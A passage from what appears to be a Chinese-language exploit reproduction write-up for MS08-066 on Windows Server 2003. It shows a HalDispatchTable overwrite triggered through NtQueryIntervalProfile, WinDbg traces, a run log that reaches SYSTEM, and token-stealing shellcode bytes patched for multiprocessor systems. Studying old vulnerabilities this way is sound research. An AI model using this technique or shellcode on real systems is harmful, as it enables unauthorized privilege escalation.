        就可以通过符号偏移精确计算出它在内存中的地址。
    包含可触发的函数指针: 
        表中的某些函数指针可以通过调用常规的、用户态可达的Windows API或Native API来间接触发。
        其中,位于HalDispatchTable+0x4的HalQuerySystemInformation函数指针就是一个绝佳的目标。
    高权限执行: 
        当内核通过此表调用函数时,CPU已经处于Ring 0(内核态)。
        因此,如果能将表中的一个函数指针覆写为我们shellcode的地址,那么当该函数被调用时,
        我们的shellcode将直接在最高权限级别下执行。

其结构如下

--------------------------------------------------------------------
0: kd> dps nt!HalDispatchTable
80894078  00000003
8089407c  80a75a1e hal!HaliQuerySystemInformation
80894080  80a779f4 hal!HalpSetSystemInformation
80894084  808e7028 nt!xHalQueryBusSlots
80894088  00000000
8089408c  8081a784 nt!HalExamineMBR
80894090  808e61d2 nt!IoAssignDriveLetters
80894094  808e6a68 nt!IoReadPartitionTable
80894098  808e5568 nt!IoSetPartitionInformation
8089409c  808e57d0 nt!IoWritePartitionTable
808940a0  8080d592 nt!CcHasInactiveViews
808940a4  80865c60 nt!MiInitializePfnTracing
808940a8  80865c60 nt!MiInitializePfnTracing
808940ac  80a76d04 hal!HaliInitPnpDriver
808940b0  80a77894 hal!HaliInitPowerManagement
808940b4  80a5ae06 hal!HaliGetDmaAdapter
808940b8  80a772fe hal!HalacpiGetInterruptTranslator
808940bc  808e7044 nt!xHalStartMirroring
808940c0  8081ab62 nt!xHalEndMirroring
808940c4  8081ab70 nt!xHalMirrorVerify
808940c8  80a779ea hal!HalpEndOfBoot
808940cc  8081ab70 nt!xHalMirrorVerify
808940d0  00000002
808940d4  8080d592 nt!CcHasInactiveViews
808940d8  8080d592 nt!CcHasInactiveViews
808940dc  80a76d30 hal!HaliLocateHiberRanges
808940e0  808e7036 nt!xHalRegisterBusHandler
808940e4  80a71e54 hal!HaliSetWakeEnable
808940e8  80a71e0e hal!HaliSetWakeAlarm
808940ec  f733f022 pci!PciTranslateBusAddress
808940f0  f733ee46 pci!PciAssignSlotResources
808940f4  80a5caa6 hal!HaliHaltSystem
--------------------------------------------------------------------

控制执行流本质就是将shellcode的地址覆盖到

80894078  00000003
8089407c  80a75a1e hal!HaliQuerySystemInformation <---

然后调用NtQueryIntervalProfile,从而执行hal!HaliQuerySystemInformation

从泄漏的windows server 2003源码分析一下该流程

NtQueryIntervalProfile
    KeQueryIntervalProfile
        HalQuerySystemInformation(HaliQuerySystemInformation)
    
具体是如何覆盖的呢?结合上面的struct sockaddr_in结构体信息

struct sockaddr_in peer 内存布局如下:

+------------------------------------------------------+
| 2 bytes | 2 bytes  | 4 bytes    | 8 bytes            |
+---------+----------+----------------+----------------+
| family  | port     | IP Address | zeros              |
| 0x0002  | 0xBACA   | 0x0100007F | 0x0000000000000000 |
+---------+----------+------------+--------------------+

当复制peer数据到HalDispatchTable时,IP Address的值正好被复制到

8089407c  80a75a1e hal!HaliQuerySystemInformation <---

当调用NtQueryIntervalProfile时,是调用0x0100007F的代码

8089407c  0x0100007F -> 0x90 ... shellcode 

当调用成功覆盖HalDispatchTable后,调用NtQueryIntervalProfile成功执行代码

1: kd> dd nt!HalDispatchTable L8
80894078  bd010002 0100007f cccccccc cccccccc
80894088  00000000 8081a784 808e61d2 808e6a68


可以发现替换成功,但是为什么没有显示为0x100007f呢?

主要是因为小端字节序导致的

执行效果如下

--------------------------------------------------------------------
[+] Get function address...OK!
[+] get kernel base...Kernel is \WINDOWS\system32\ntkrnlpa.exe(0x80800000)
OK!
[+] load kernel library: ntkrnlpa.exe...OK!
[+] HalDispatchTable found                       [ 0x80894078 ]
[+] allocate memory at [0x01000000]...OK!
[+] Overwriting HalDispatchTable with those bytes...
shellcode addr: 0012FB74


[+] Executing shellcode...OK!
[+] Create a new process...OK!
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\Documents and Settings\Administrator\My Documents\Visual Studio 2008\Projects
\MS08066\MS08066>whoami
nt authority\system

c:\Documents and Settings\Administrator\My Documents\Visual Studio 2008\Projects
\MS08066\MS08066>
--------------------------------------------------------------------


3) 优化shellcode代码

上面的exploit代码偶尔执行会失败,失败的原因是eax+218的值为空或eax+98h为空

开始我以为是进程链的问题,我以为是单向的,但是经过分析进程链是双向的,不存在这个问题

后来进过不停的分析和问ai,才知道0FFDFF124h的值只针对proccess 0

分析如下:

--------------------------------------------------------------------
Break instruction exception - code 80000003 (first chance)
01000107 cc              int     3
2: kd> u .
01000107 cc              int     3
01000108 60              pushad
01000109 9c              pushfd
0100010a b824f1dfff      mov     eax,0FFDFF124h
0100010f 8b00            mov     eax,dword ptr [eax]
01000111 8bb018020000    mov     esi,dword ptr [eax+218h]
01000117 89f0            mov     eax,esi
01000119 8b8098000000    mov     eax,dword ptr [eax+98h]
2: kd> p
01000108 60              pushad
2: kd> p
01000109 9c              pushfd
2: kd> p
0100010a b824f1dfff      mov     eax,0FFDFF124h
2: kd> p
0100010f 8b00            mov     eax,dword ptr [eax]
2: kd> p
01000111 8bb018020000    mov     esi,dword ptr [eax+218h]
2: kd> p
01000117 89f0            mov     eax,esi
2: kd> p
01000119 8b8098000000    mov     eax,dword ptr [eax+98h]
2: kd> r
eax=00000000 ebx=80994601 ecx=00000000 edx=0012fa9c esi=00000000 edi=b9648d64
eip=01000119 esp=b9648cdc ebp=b9648d20 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
01000119 8b8098000000    mov     eax,dword ptr [eax+98h] ds:0023:00000098=????????
2: kd> dd 0FFDFF124h
ReadVirtual: ffdff124 not properly sign extended
ffdff124  8089d8c0 00000000 8089d8c0 00000000
ffdff134  00000001 71000117 00010017 00000000
ffdff144  00000000 00000000 00000000 00000000
ffdff154  00000000 808ab820 808ab820 f79062cc
ffdff164  80828102 8af7db40 8abbd410 00000000
ffdff174  00000000 8abbd410 00000000 8af7db40
ffdff184  8abbd410 f7b95d00 00000001 8abbd410
ffdff194  f7b95d00 8abbd400 f79062fc 80a5c456
2: kd> dd 8089d8c0+218
ReadVirtual: 8089dad8 not properly sign extended
8089dad8  00000000 00000000 00000000 00000000
8089dae8  00000000 00000000 00000000 00000000
8089daf8  00000000 001f03ff 00000000 00000000
8089db08  00000000 00000000 00000000 00000000
8089db18  00000000 00000000 00000000 00000000
8089db28  00000000 00000000 00000000 00000000
8089db38  00000000 00000000 001e0003 00000000
8089db48  8089db48 8089db48 8089db50 8089db50
--------------------------------------------------------------------

这里的主要原因在于多处理器导致KPCR不同的原因,比如上述的问题,查看其的KPCR

--------------------------------------------------------------------
2: kd> !PCR
KPCR for Processor 2 at f772f000:
    Major 1 Minor 1
	NtTib.ExceptionList: b96485e0
	    NtTib.StackBase: 00000000
	   NtTib.StackLimit: 00000000
	 NtTib.SubSystemTib: f772ffe0
	      NtTib.Version: 0000446d
	  NtTib.UserPointer: 00000004
	      NtTib.SelfTib: 7ffdf000

	            SelfPcr: f772f000
	               Prcb: f772f120
	               Irql: 0000001f
	                IRR: 00000000
	                IDR: ffffffff
	      InterruptMode: 00000000
	                IDT: f7735800
	                GDT: f7735400
	                TSS: f772ffe0

	      CurrentThread: 89d56db0
	         NextThread: 00000000
	         IdleThread: f7732090

	          DpcQueue: 
--------------------------------------------------------------------

其值不再是0FFDFF000h,所以为了顺利在多处理器的情况下执行,需要优化代码。

经过问测试发现fs:0x124直接存储的是_KTHREAD结构,所以可以直接通过代码获取,
不用再绕弯了,代码修改如下:

--------------------------------------------------------------------
原始代码:
    0xb8, 0x24, 0xf1, 0xdf, 0xff,       // mov    eax,0xffdff124
    0x8b, 0x00,                         // mov    eax,DWORD PTR [eax]
    0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov    esi,DWORD PTR [eax+0x218]
    0x89, 0xf0,                         // mov    eax,esi

修改后:
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov eax, fs:[124]
    0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov    esi,DWORD PTR [eax+0x218]
    0x89, 0xf0,                         // mov    eax,esi
--------------------------------------------------------------------

成功执行.


☆ 遇到的问题

1. afd没有符号信息,强制重新载入即可

--------------------------------------------------------------------
0: kd> .symfix c:\mysymbols
0: kd> .reload /f afd.sys
--------------------------------------------------------------------

中间还遇到了很多问题,忙着复现没有记录,下次多注意

下一篇:ms11-046

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions